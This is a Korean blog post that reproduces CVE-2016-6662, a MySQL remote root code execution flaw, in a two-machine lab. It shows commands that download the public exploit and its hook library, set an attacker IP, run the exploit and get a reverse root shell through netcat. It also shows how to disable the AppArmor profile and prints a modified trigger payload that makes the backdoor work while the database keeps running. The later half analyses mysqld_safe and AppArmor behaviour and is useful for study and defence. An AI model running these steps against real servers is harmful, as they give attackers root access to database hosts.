포스팅:

취약점 테스트

테스트를 위해 두 운영체제를 준비했다.

  • Kali Linux v2016.2 - 192.168.0.140
  • Ubuntu 14.04 LTS x64 - 192.168.0.128

그리고 테스트할 데이터베이스로 MySQL 5.5.50을 준비했다.

  • MySQL 5.5.50-0ubuntu0.14.04.1
설치 방법은 5.5.50을 배포하는 당시 sudo apt-get install mysql-server로 설치했다. 만약 5.5.50 버전의 소스코드를 다운로드하여 직접 컴파일할 경우 이 포스트에서 설명하는 것과 다른 환경이 구성된다.

공통 환경 구성

데이터베이스 서버 공통 구성

데이터베이스 생성

다음과 같이 데이터베이스를 생성한다. 생성한 데이터베이스를 소유하는 소유자와 그 소유자의 패스워드도 함께 설정한다.

CREATE DATABASE pocdb;
GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%';

/etc/mysql/my.cnf 소유자 변경

우분투 운영체제에서 MySQL을 apt-get으로 설치하면 /etc/mysql/ 디렉터리에 my.cnf 설정 파일이 생성되고 소유자는 root를 가진다. 하지만 PoC 문서에서 언급하는 "안전한 서비스 운영"과 "보안 가이드"에서 mysql 디렉터리와 my.cnf 설정 파일 소유자가 MySQL로 사용하도록 권장한다는 근거를 바탕으로 my.cnf 소유자를 MySQL로 변경한다.

sudo chown mysql:mysql /etc/mysql/my.cnf && ls -al /etc/mysql/my.cnf

bind-address 설정

원격에서 진행 가능한 취약점이기에 localhost로 진행하지 않고 서로 다른 아이피를 가진 두 개의 운영체제에서 진행한다. 이를 위해서는 원격에서 데이터베이스 서버로 접근할 수 있도록 아이피를 설정한다. 환경 변수 bind-address/etc/mysql/my.cnf 의 47번째 줄에 위치한다.

bind-address = 192.168.0.128


공격 운영체제 공통 설정

칼리 리눅스에서 다음 두 명령으로 공격 코드를 다운로드한다.

wget http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.py
wget http://legalhackers.com/exploits/mysql_hookandroot_lib.c

0ldSQL_MySQL_RCE_exploit.py 스크립트가 실행되면 my.cnf에 악의적인 설정을 주입하고, 주입된 설정이 데이터베이스 서버에서 실행되면 리버스 커넥션이 맺어진다. 그래서 이 스크립트가 잘 실행되면 netcat이 실행되면서 6033 포트로 리스닝 상태가 된다.

그러면 데이터베이스 서버에서 칼리 리눅스로 리버스 커넥션이 맺어지도록 설정을 변경한다. 데이터베이스 서버에서 리버스 커넥션 하기 위해서는 아이피는 mysql_hookandroot_lib.c#define ATTACKERS_IP의 값을 수정하여 설정할 수 있다.

#define ATTACKERS_IP "192.168.0.140"

데이터베이스 계정, 비밀번호, 데이터베이스의 아이피, 데이터베이스 이름 그리고 악의적인 설정을 주입할 설정 파일 경로를 다음과 같이 입력한다.

python 0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.0.128 -dbname pocdb -mycnf /etc/mysql/my.cnf

만약 No module named mysql.connector 에러가 발생한다면 mysql.connector 파이썬 라이브러리를 설치한다.

apt-get install python-mysql.connector


MySQL 5.5.50-0ubuntu0.14.04.1 테스트

위 과정이 끝났다면 공격을 진행한다. 그러면 다음과 같은 메시지를 볼 수 있다.

python 0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.0.128 -dbname pocdb -mycnf /etc/mysql/my.cnf

0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski
http://legalhackers.com


[+] Connecting to target server 192.168.0.128 and target mysql account 'attacker@192.168.0.128' using DB 'pocdb'

[+] The account in use has the following grants/perms: 

GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY PASSWORD <secret>
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%'

[+] Compiling mysql_hookandroot_lib.so

[+] Converting mysql_hookandroot_lib.so into HEX

[+] Saving trigger payload into /var/lib/mysql/pocdb/poctable.TRG

[+] Dumping shared library into /var/lib/mysql/mysql_hookandroot_lib.so file on the target

[+] Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded

[+] Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config /etc/mysql/my.cnf

[!] Something went wrong: 29 (HY000): File '/etc/mysql/my.cnf' not found (Errcode: 13)

[!] Exiting (code: 6)

MySQL 데이터베이스에서 변경된 사항과 로그들을 분석하여 행위를 종합해보면

  • 데이터베이스 서버에 poctable.TRG 생성 완료
  • 데이터베이스 서버에 mysql_hookandroot_lib.so 생성 완료
  • 데이터베이스 서버의 /etc/mysql/my.cnf에 악의적인 설정 주입 실패 > "설정 파일을 해당 경로에서 찾을 수 없음"을 출력

결론적으론 /etc/mysql/my.cnf 파일에 악의적인 설정 주입만 실패한 것을 볼 수 있다. 지금 구축한 환경에서는 PoC 문서의 1) 항목에서 언급한 내용은 진행되지 않는다.

그래서 2) 항목의 방법을 이용하여 진행할 수 있다. 2) 형태를 살펴보면 /var/lib/mysql/my.cnf에 악의적인 설정을 주입하는데, 이 파일은 섹션 형태로 시작하지 않으면 MySQL이 구성 파일을 로드하지 않는다고 언급되어 있다. /var/lib/mysql/my.cnf에는 파일이 존재하지 않고, 새로운 파일을 생성하여 로그를 주입한다면 섹션 형태로 시작하지 않을 것이다.

2) 형태에 맞춰 설정을 재구성한다. 먼저 공격하기 전에 스냅샷을 설정해두었다면 편하겠지만, 그렇지 않으면 다음과 같이 명령을 진행하여 앞서 테스트한 흔적들을 모두 제거한다.

sudo rm -f /var/lib/mysql/pocdb/poctable.TRG
sudo rm -f /var/lib/mysql/mysql_hookandroot_lib.so

데이터베이스도 삭제한 후 새롭게 만든다.

mysql -u root -p

Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 38
Server version: 5.5.50-0ubuntu0.14.04.1-log (Ubuntu)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> DROP DATABASE pocdb;
Query OK, 1 row affected (0.01 sec)

mysql> CREATE DATABASE pocdb;
Query OK, 1 row affected (0.00 sec)

mysql> GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';
Query OK, 0 rows affected (0.00 sec)

mysql> GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%';  
Query OK, 0 rows affected (0.00 sec)

mysql> Bye

이제 /etc/mysql/my.cnf 파일을 /var/lib/mysql/에 복사한다.

sudo cp /etc/mysql/my.cnf /var/lib/mysql/my.cnf

/var/lib/mysql/my.cnf 가 소유자가 MySQL인지 다시 확인하고, 아니라면 MySQL로 설정한다.

sudo chown mysql:mysql /var/lib/mysql/my.cnf

모든 설정이 끝났다면 MySQL 서비스를 재시작한다. 이때 단순히 mysqld를 재시작하는 것이 아니라 mysqld_safe 모드로 실행한다.

sudo service mysql stop
sudo mysqld_safe &

mysqld와 mysqld_safe가 실행 중인지 확인한다.

ps aux | grep mysqld

root       9296  0.0  0.1  72464  4380 pts/9    S    19:55   0:00 sudo mysqld_safe
root       9297  0.0  0.0   4448  1608 pts/9    S    19:55   0:00 /bin/sh /usr/bin/mysqld_safe
mysql      9967  0.2  1.1 418956 47184 pts/9    Sl   19:55   0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
hakawati   9986  0.0  0.0  17168  2540 pts/9    S+   19:56   0:00 grep --color=auto mysqld

이제 모든 준비가 완료되었다. 공격 스크립트에서 mycnf 인자를 /etc/mysql/my.cnf에서 /var/lib/mysql/my.cnf로 변경하여 공격하면 /var/lib/mysql/my.cnf 설정에 악의적인 설정이 주입되고, 그 결과를 출력한 후 리버스 커넥션 대기상태가 된다.

python 0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.0.128 -dbname pocdb -mycnf /var/lib/mysql/my.cnf

0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski
http://legalhackers.com


[+] Connecting to target server 192.168.0.128 and target mysql account 'attacker@192.168.0.128' using DB 'pocdb'

[+] The account in use has the following grants/perms: 

GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY PASSWORD <secret>
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%'

[+] Compiling mysql_hookandroot_lib.so

[+] Converting mysql_hookandroot_lib.so into HEX

[+] Saving trigger payload into /var/lib/mysql/pocdb/poctable.TRG

[+] Dumping shared library into /var/lib/mysql/mysql_hookandroot_lib.so file on the target

[+] Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded

[+] Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config /var/lib/mysql/my.cnf

[+] Showing the contents of /var/lib/mysql/my.cnf config to verify that our setting (malloc_lib) got injected


#
# The MySQL database server configuration file.
#
# You can copy this to one of:
# - "/etc/mysql/my.cnf" to set global options,
# - "~/.my.cnf" to set user-specific options.
# 
# One can use all long options that the program supports.
# Run program with --help to get a list of available options and with
# --print-defaults to see which it would actually understand and use.
#
# For explanations see
# http://dev.mysql.com/doc/mysql/en/server-system-variables.html

# This will be passed to all mysql clients
# It has been reported that passwords should be enclosed with ticks/quotes
# escpecially if they contain "#" chars...
# Remember to edit /etc/mysql/debian.cnf when changing the socket location.
[client]
port         = 3306
socket         = /var/run/mysqld/mysqld.sock

# Here is entries for some specific programs
# The following values assume you have at least 32M ram

# This was formally known as [safe_mysqld]. Both versions are currently parsed.
[mysqld_safe]
socket         = /var/run/mysqld/mysqld.sock
nice         = 0

[mysqld]
#
# * Basic Settings
#
user         = mysql
pid-file    = /var/run/mysqld/mysqld.pid
socket         = /var/run/mysqld/mysqld.sock
port         = 3306
basedir         = /usr
datadir         = /var/lib/mysql
tmpdir         = /tmp
lc-messages-dir    = /usr/share/mysql
skip-external-locking
#
# Instead of skip-networking the default is now to listen only on
# localhost which is more compatible and is not less secure.
bind-address         = 192.168.0.128
#
# * Fine Tuning
#
key_buffer         = 16M
max_allowed_packet    = 16M
thread_stack         = 192K
thread_cache_size       = 8
# This replaces the startup script and checks MyISAM tables if needed
# the first time they are touched
myisam-recover         = BACKUP
#max_connections        = 100
#table_cache            = 64
#thread_concurrency     = 10
#
# * Query Cache Configuration
#
query_cache_limit    = 1M
query_cache_size        = 16M
#
# * Logging and Replication
#
# Both location gets rotated by the cronjob.
# Be aware that this log type is a performance killer.
# As of 5.1 you can enable the log at runtime!
general_log_file        = /var/log/mysql/mysql.log
general_log             = 1
#
# Error log - should be very few entries.
#
log_error = /var/log/mysql/error.log
#
# Here you can see queries with especially long duration
#log_slow_queries    = /var/log/mysql/mysql-slow.log
#long_query_time = 2
#log-queries-not-using-indexes
#
# The following can be used as easy to replay backup logs or for replication.
# note: if you are setting up a replication slave, see README.Debian about
#       other settings you may need to change.
#server-id         = 1
#log_bin            = /var/log/mysql/mysql-bin.log
expire_logs_days    = 10
max_binlog_size         = 100M
#binlog_do_db         = include_database_name
#binlog_ignore_db    = include_database_name
#
# * InnoDB
#
# InnoDB is enabled by default with a 10MB datafile in /var/lib/mysql/.
# Read the manual for more InnoDB related options. There are many!
#
# * Security Features
#
# Read the manual, too, if you want chroot!
# chroot = /var/lib/mysql/
#
# For generating SSL certificates I recommend the OpenSSL GUI "tinyca".
#
# ssl-ca=/etc/mysql/cacert.pem
# ssl-cert=/etc/mysql/server-cert.pem
# ssl-key=/etc/mysql/server-key.pem



[mysqldump]
quick
quote-names
max_allowed_packet    = 16M

[mysql]
#no-auto-rehash    # faster start of mysql but no tab completition

[isamchk]
key_buffer         = 16M

#
# * IMPORTANT: Additional settings that can override those from this file!
#   The files must end with '.cnf', otherwise they'll be ignored.
#
!includedir /etc/mysql/conf.d/
/usr/sbin/mysqld, Version: 5.5.50-0ubuntu0.14.04.1-log ((Ubuntu)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
             3 Query    SET global general_log = on
             3 Query    select "

# 0ldSQL_MySQL_RCE_exploit got here :)

[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

[abyss]
" INTO void
             3 Query    SET global general_log = off

[+] Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)

[+] Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)

listening on [any] 6033 ...

MySQL 서비스와 mysqld_safe를 모두 kill 명령으로 강제 종료하고 다시 mysqld_safe로 실행시키면 리버스 커넥션이 맺어지는 것을 볼 수 있다.

[...]

[+] Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)

listening on [any] 6033 ...
193.192.168.0.128: inverse host lookup failed: Unknown host
connect to [192.168.0.140] from (UNKNOWN) [192.168.0.128] 57761
root@hakawati-virtual-machine:/home/hakawati# 


추가 내용

취약한 버전인데 PoC 작성자가 작성한 대로 진행되지 않는 이유가 궁금해서 스스로 의문사항을 만들어 그 답을 찾아보았다.

  • 왜 service 명령으로 mysqld를 실행했을 때 mysqld_safe가 실행되지 않을까?
  • /etc/mysql/my.cnf에 로그를 주입할 수 없을까?
  • mysqld와 mysqld_safe의 차이와 악용에 사용되는 --malloc-lib 파라미터의 기능은 무엇일까?
  • 왜 데이터베이스를 재시작하여 셸에는 붙었지만 데이터베이스 데몬이 실행되지 않을까?
  • 수정하지 않은 PoC, 실행되지 않은 데이터베이스, 하지만 왜 공격이 가능할까?
  • 로그 내용이 my.cnf에 사용해도 에러가 발생하지 않는 이유는 무엇을까?
  • 중복 선언, 덮어쓰기를 해도 동작하는 이유는 뭘까?
  • /etc/mysql/my.cnf 소유자가 root인데 어떻게 mysql이 읽을 수 있을까?
  • 공격이 성공했을 때 mysql.log에는 어떤 기록이 남을까?

왜 service 명령으로 mysqld를 실행했을 때 mysqld_safe가 실행되지 않을까?

실험 중인 운영체제(우분투 14.04 LTS)에서 데몬을 실행시키는 방법에는 두 가지가 있다. 하지만 문서에서는 mysqld을 실행되면 서비스에는 mysqld_safe가 함께 사용되고 있음을 보여준다. 실제 테스트해보면 서비스를 실행시키는 두 가지 방법에는 차이가 있다.

service 명령으로 mysqld 실행

sudo service mysql start
mysql start/running, process 2970
ps aux | grep mysql
mysql      2970  1.5  1.1 484688 47684 ?        Ssl  16:20   0:00 /usr/sbin/mysqld
hakawati   3099  0.0  0.0  17164  2524 pts/4    S+   16:20   0:00 grep --color=auto mysql

/etc/init.d/ 위치에서 mysqld 실행

sudo /etc/init.d/mysql start
 * Starting MySQL database server mysqld                                                                                                                                                              [ OK ] 
 * Checking for tables which need an upgrade, are corrupt or were 
not closed cleanly.
ps aux | grep mysql
root       3153  0.0  0.0   4448  1620 pts/4    S    16:21   0:00 /bin/sh /usr/bin/mysqld_safe
mysql      3514  0.4  1.1 484688 47516 pts/4    Sl   16:21   0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
hakawati   3660  0.0  0.0  17164  2520 pts/4    S+   16:21   0:00 grep --color=auto mysql

두 명령의 차이는 service 명령의 man 페이지에서 확인할 수 있다. 요약하면 다음과 같다.

시스템 V의 init 스크립트를 실행하는 명령으로 /etc/init.d/SCRIPT 보다 /etc/init를 먼저 실행한다.

결론적으로 service는 /etc/init에 MySQL 관련된 부분이 있으면 그것을 먼저 실행시키는 명령이다. /etc/init에는 mysql.conf 파일이 존재한다. 이 파일에는 다음과 같은 내용이 포함되어 있으며, 47 라인에서 볼 수 있듯이 mysqld_safe 실행 없이 mysqld만 실행한다.

env HOME=/etc/mysql
umask 007

# The default of 5 seconds is too low for mysql which needs to flush buffers
kill timeout 300

pre-start script
    ## Fetch a particular option from mysql's invocation.
    # Usage: void mysqld_get_param option
    mysqld_get_param() {
      /usr/sbin/mysqld --print-defaults \
        | tr " " "\n" \
        | grep -- "--$1" \
        | tail -n 1 \
        | cut -d= -f2
    }

    # priority can be overriden and "-s" adds output to stderr
    ERR_LOGGER="logger -p daemon.err -t /etc/init/mysql.conf -i"

    #Sanity checks
    [ -r $HOME/my.cnf ]
    [ -d /var/run/mysqld ] || install -m 755 -o mysql -g root -d /var/run/mysqld
    /lib/init/apparmor-profile-load usr.sbin.mysqld

    # check for diskspace shortage
    datadir=`mysqld_get_param datadir`
    BLOCKSIZE=`LC_ALL=C df --portability $datadir/. | tail -n 1 | awk '{print $4}'`
    if [ $BLOCKSIZE -le 4096 ] ; then
      echo "$0: ERROR: The partition with $datadir is too full!" >&2
      echo "ERROR: The partition with $datadir is too full!" | $ERR_LOGGER
      exit 1
    fi
end script

exec /usr/sbin/mysqld

/etc/init.d/mysql에서는 109 라인에서 볼 수 있듯이 mysqld가 아닌 mysqld_safe를 실행한다. 결과적으로 다르게 실행하는 것을 알 수 있다.

case "${1:-''}" in
  'start')
        sanity_checks;
        # Start daemon
        log_daemon_msg "Starting MySQL database server" "mysqld"
        if mysqld_status check_alive nowarn; then
           log_progress_msg "already running"
           log_end_msg 0
        else
            # Could be removed during boot
            test -e /var/run/mysqld || install -m 755 -o mysql -g root -d /var/run/mysqld

            # Start MySQL! 
            /usr/bin/mysqld_safe > /dev/null 2>&1 &

            # 6s was reported in #352070 to be too few when using ndbcluster
        # 14s was reported in #736452 to be too few with large installs
        for i in $(seq 1 30); do
                sleep 1
                if mysqld_status check_alive nowarn ; then break; fi
                log_progress_msg "."
            done
            if mysqld_status check_alive warn; then
                log_end_msg 0
                # Now start mysqlcheck or whatever the admin wants.
                output=$(/etc/mysql/debian-start)
                [ -n "$output" ] && log_action_msg "$output"
            else
                log_end_msg 1
                log_failure_msg "Please take a look at the syslog"
            fi
        fi
        ;;

그래서 다음과 같은 가설을 세웠다.

현재 상황에서는 mysqld_safe만이 /etc/mysql/my.cnf에 로그를 주입하는 형태로 작성할 수 있다.

실험을 위해 mysqld_safe를 실행 실행시켰다. mysqld_safe를 실행시키기 위해 다음 두 가지 방법 중 하나를 선택하였다.

  • /etc/init/mysql.conf를 삭제한 후 sudo service mysql start 실행
  • sudo /etc/init.d/mysql start로 데몬을 실행

하지만 여전히 /etc/mysql/my.cnf를 덮어쓰는 것은 불가능했다.

왜 /etc/mysql/my.cnf 에 로그를 주입할 수 없을까?

my.cnf 파일의 소유자를 MySQL로 변경해야 하는 근거를 "설정 가이드"와 "보안 가이드"를 언급하는 걸로 정당성을 확보했다고 치자. 그렇다면 왜 취약한 mysql 5.5.50에서 mysql 소유자로 변경했음에도 로그 주입이 실패한 원인은 무엇일까. 그 해답을 PoC 스크립트 실행 시 출력되는 에러 코드에서 찾을 수 있었다.

[!] Something went wrong: 29 (HY000): File '/etc/mysql/my.cnf' not found (Errcode: 13)

MySQL과 관련 있는 Errcode: 13을 검색해보니 이곳에서 Apparmor에 관해 언급하고 있었다. 따라서 Apparmor의 설정이 위치한 /etc/apparmor.d/usr.sbin.mysqld 파일을 살펴보았다.

이 설정 파일의 25 라인에서 볼 수 있듯이 /etc/mysql/my.cnf는 읽을(r) 수만 있도록 설정되어 있다. 실습에서 사용할 수 있었던 /var/lib/mysql/my.cnf는 라인 33에서 볼 수 있듯이 읽고(r), 쓰고(w), 독점(k)할 수 있도록 설정되어 있다.

# vim:syntax=apparmor
# Last Modified: Tue Jun 19 17:37:30 2007
#include <tunables/global>

/usr/sbin/mysqld {
  #include <abstractions/base>
  #include <abstractions/nameservice>
  #include <abstractions/user-tmp>
  #include <abstractions/mysql>
  #include <abstractions/winbind>

  capability dac_override,
  capability sys_resource,
  capability setgid,
  capability setuid,

  network tcp,

  /etc/hosts.allow r,
  /etc/hosts.deny r,

  /etc/mysql/*.pem r,
  /etc/mysql/conf.d/ r,
  /etc/mysql/conf.d/* r,
  /etc/mysql/*.cnf r,
  /usr/lib/mysql/plugin/ r,
  /usr/lib/mysql/plugin/*.so* mr,
  /usr/sbin/mysqld mr,
  /usr/share/mysql/** r,
  /var/log/mysql.log rw,
  /var/log/mysql.err rw,
  /var/lib/mysql/ r,
  /var/lib/mysql/** rwk,
  /var/log/mysql/ r,
  /var/log/mysql/* rw,
  /var/run/mysqld/mysqld.pid rw,
  /var/run/mysqld/mysqld.sock w,
  /run/mysqld/mysqld.pid rw,
  /run/mysqld/mysqld.sock w,

  /sys/devices/system/cpu/ r,

  # Site-specific additions and overrides. See local/README for details.
  #include <local/usr.sbin.mysqld>
}

usr.sbin.mysqld 파일을 삭제하거나, /etc/apparmor.d/disable/ 디렉터리에 usr.sbin.mysqld 파일의 심볼릭 링크를 생성하면 MySQL 서비스를 보호하기 위한 Apparmor가 동작하지 않는다. 아니면 33 라인의 /etc/mysql/*.cnf에 쓸(w) 수 있도록 권한을 추가하는 방법을 선택해도 좋다.

추천하는 방법은 disable 디렉터리를 이용하는 것이다. 다음과 같이 disable 디렉터리에 심볼릭 링크를 생성하고 Apparmor가 usr.sbin.mysqld 프로파일을 다시 파싱하면 더 이상 mysqld은 Apparmor의 보호를 받지 못한다.

sudo ln -s /etc/apparmor.d/usr.sbin.mysqld /etc/apparmor.d/disable/
sudo apparmor_parser -R /etc/apparmor.d/usr.sbin.mysqld

이제 /etc/mysql/my.cnf를 쓰는 형태로 CVE-2016-6662를 다시 테스트해보면 잘 덮어쓰는 것을 확인할 수 있다.

PoC 작성자는 "또한 리눅스 배포판에서 기본 정책으로 활성화하도록 설치되는 SELinux와 Apparmor와 같은 보안 모듈에서 운영하는 MySQL 서비스에도 공격이 가능하다"라고 언급했지만, 실제로는 Apparmor에 의해 CVE-2016-6662로부터 보호할 수 있다는 것을 확인할 수 있다.

mysqld와 mysqld_safe의 차이와 악용에 사용되는 --malloc-lib 파라미터의 기능은 무엇일까?

Apparmor를 우회했다고 해도, mysqld만 실행된 것과 mysqld_safe를 통해 mysqld를 실행하는 것은 다른 결과를 보여준다. mysqld는 백도어를 실행하지 못하고, mysqld_safe는 백도어를 실행하여 원격에서 root 권한으로 셸을 얻을 수 있다. 이 둘은 어떤 차이를 가질까. mysqld_safe의 man 페이지를 살펴보면 기능적 차이를 알 수 있다. 간단하게 요약하면 다음과 같다.

mysqld_safe는 mysqld 서버를 실행시킬 때 권장하는 방법으로, 오류가 발생하면 로그 파일에 런타임 정보를 제공한 후 서버를 재시작시키는 기능이 추가로 도입된 스크립트다.

로깅 기능 빼고 큰 차이는 없어 보인다. 하지만 오라클의 mysqld_safe 설명 페이지에 방문해보면 다양한 기능을 제공한다는 것을 볼 수 있다. 이 취약점에서 우리가 알아야 할 핵심 옵션은 --malloc-lib이다. 이는 말 그대로 동적 메모리 할당을 위해 사용하는 malloc 라이브러리 대신에 다른 라이브러리를 사용할 수 있도록 설정하는 것으로, 주로 MySQL 퍼포먼스를 위해 사용된다. 이 옵션은 mysqld_safe 실행 시 다음과 같이 옵션을 할당하여 사용한다.

--malloc-lib=/opt/lib/i_dont_want_to_use_malloc_of_mysql.so

위와 같이 데몬을 실행할 때 직접 명시하여 사용하지 않으면 다음과 같이 my.cnf에 설정한 환경 변수 내용을 로드한다.

[mysqld_safe]
malloc-lib=/opt/lib/i_dont_want_to_use_malloc_of_mysql.so

왜 데이터베이스를 재시작하여 셸에는 붙었지만 데이터베이스 데몬이 실행되지 않을까?

공격을 진행한 후 mysqld_safe에 의해 error.log에 작성되는 로그를 살펴보면 다음과 같은 에러 문구를 볼 수 있으며, 이 에러로 인해 MySQL 데이터베이스는 실행되지 않는다.

160921 18:45:02 [ERROR] /usr/sbin/mysqld: unknown variable 'malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so'
160921 18:45:02 [ERROR] Aborting

160921 18:45:02  InnoDB: Starting shutdown...
160921 18:45:03  InnoDB: Shutdown completed; log sequence number 1595685
160921 18:45:03 [Note] /usr/sbin/mysqld: Shutdown complete

데이터베이스 실행 중단의 원인은 로그에서 알 수 있듯이 mysqld가 malloc_lib 변수를 이해하지 못하기 때문이다. malloc_lib는 mysqld_safe가 인식하는 변수이기에 [mysqld_safe] 섹션에 선언해야 이 에러를 만나지 않는다. 하지만 주입되는 SQL 코드를 살펴보면 malloc_lib[mysqld] 섹션에 작성된 것을 볼 수 있다.

triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n   ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n   DECLARE void varchar(550);\\n   set global general_log_file=\\'%s\\';\\n   set global general_log = on;\\n   select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void;   \\n   set global general_log = off;\\n\\nEND'
sql_modes=0
definers='root@localhost'
client_cs_names='utf8'
connection_cl_names='utf8_general_ci'
db_cl_names='latin1_swedish_ci'
""" % (args.TARGET_MYCNF, malloc_lib_path)

triggers 변수에 사용한 [mysqld][mysqld_safe]로 변경하면 백도어를 잘 실행시키고, 데이터베이스도 잘 동작한다.

triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n   ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n   DECLARE void varchar(550);\\n   set global general_log_file=\\'%s\\';\\n   set global general_log = on;\\n   select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld_safe]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void;   \\n   set global general_log = off;\\n\\nEND'
sql_modes=0
definers='root@localhost'
client_cs_names='utf8'
connection_cl_names='utf8_general_ci'
db_cl_names='latin1_swedish_ci'
""" % (args.TARGET_MYCNF, malloc_lib_path)

수정하지 않은 PoC, 실행되지 않은 데이터베이스, 하지만 왜 공격이 가능할까?

첫 번째로 정석적으로는 환경 변수로 --malloc-lib를 선언할 때 malloc_lib가 아닌 malloc-lib로 선언해야 한다. 하지만 malloc_lib로 선언해도 사용 가능한 이유는 mysqld_safe wrapper 스크립트의 189 라인에서 확인할 수 있다. 여기에는 _-로 치환하는 코드를 사용한다.

# replace "_" by "-" ; mysqld_safe must accept "_" like mysqld does.
optname_subst=`echo "$optname" | sed 's/_/-/g'`

두 번째로 [mysqld] 섹션에 malloc_lib를 선언했음에도 불구하고 malloc_lib 인수를 로드하여 실행시켰는 가다. 이는 다음과 같은 가설을 가지고 접근했지만, 증명하진 못했다. 하지만 수차례 테스트해본 결과 다음과 같은 잠정적인 결론을 추측할 수 있었다.

mysqld_safe wrapper 스크립트가 실행된 후에 mysqld가 실행된다. 다시 말해서 mysqld가 실행되기 전에 mysqld_safe wrapper 스크립트가 실행되는데, mysqld_safe wrapper 스크립트에는 자신만이 사용하는 환경 변수를 커맨드 라인과 my.cnf에서 파싱한다.

바로 이 파싱 하는 과정에서는 [mysqld_safe] 섹션을 기준으로 다음 섹션을 만나기 전까지의 환경 변수를 파싱하는 것이 아닌 my.cnf 파일에 선언된 모든 환경 변수를 파싱하고, 자신이 인식할 수 있는 환경 변수면 실행하고 아니면 무시하는 형태로 동작할 것이다.

따라서 [mysqld]malloc_lib를 선언해도 mysqld_safe wrapper 스크립트는 [mysqld] 섹션 선언을 무시하고 자신만이 사용할 수 있는 malloc_lib를 파싱하기 때문에 동작할 것이다.

mysqld_safe wrapper가 환경 변수들을 파싱하고 처리한 후 mysqld를 실행시키는데, mysqld는 [mysqld] 섹션 기준으로 환경 변수를 파싱하는 로직을 가지고 있는 것으로 추측된다. 그렇기 때문에 mysqld가 자신이 이해할 수 없는 malloc_lib 환경 변수를 만나 에러가 발생해 더 이상 데몬을 실행할 수 없게 되는 것으로 보인다.

로그 내용이 my.cnf에 사용해도 에러가 발생하지 않는 이유는 무엇을까?

다음과 같이 주석으로 표시된 것도 아닌 내용(로그 기록)이 my.cnf에 사용되어도 데이터베이스가 동작하는데 아무런 문제가 발생하지 않는다.

[mysql]
#no-auto-rehash # faster start of mysql but no tab completition

[isamchk]
key_buffer              = 16M

#
# * IMPORTANT: Additional settings that can override those from this file!
#   The files must end with '.cnf', otherwise they'll be ignored.
#
!includedir /etc/mysql/conf.d/
/usr/sbin/mysqld, Version: 5.5.50-0ubuntu0.14.04.1 ((Ubuntu)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
160922  0:55:11    37 Query     select "

# 0ldSQL_MySQL_RCE_exploit got here :)

[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

[abyss]
" INTO void
                   37 Query     SET global general_log = off

앞서 "수정하지 않은 PoC, 실행되지 않은 데이터베이스, 하지만 왜 공격이 가능할까?"에서 추측한 것처럼 mysqld_safe wrapper 스크립트는 자신이 이해하는 고유한 환경 변수만을 파싱하기에 로그 내용을 무시할 것이고, mysqld는 [mysqld] 섹션에서 표현된 내용이 아니기 때문에 무시하는 것으로 보인다.

그래서 다음과 같이 생각해 보았다.

[mysqld] 섹션에 위와 같은 로그 내용을 수동으로 입력하면 mysqld는 동작하지 않을 것이다.

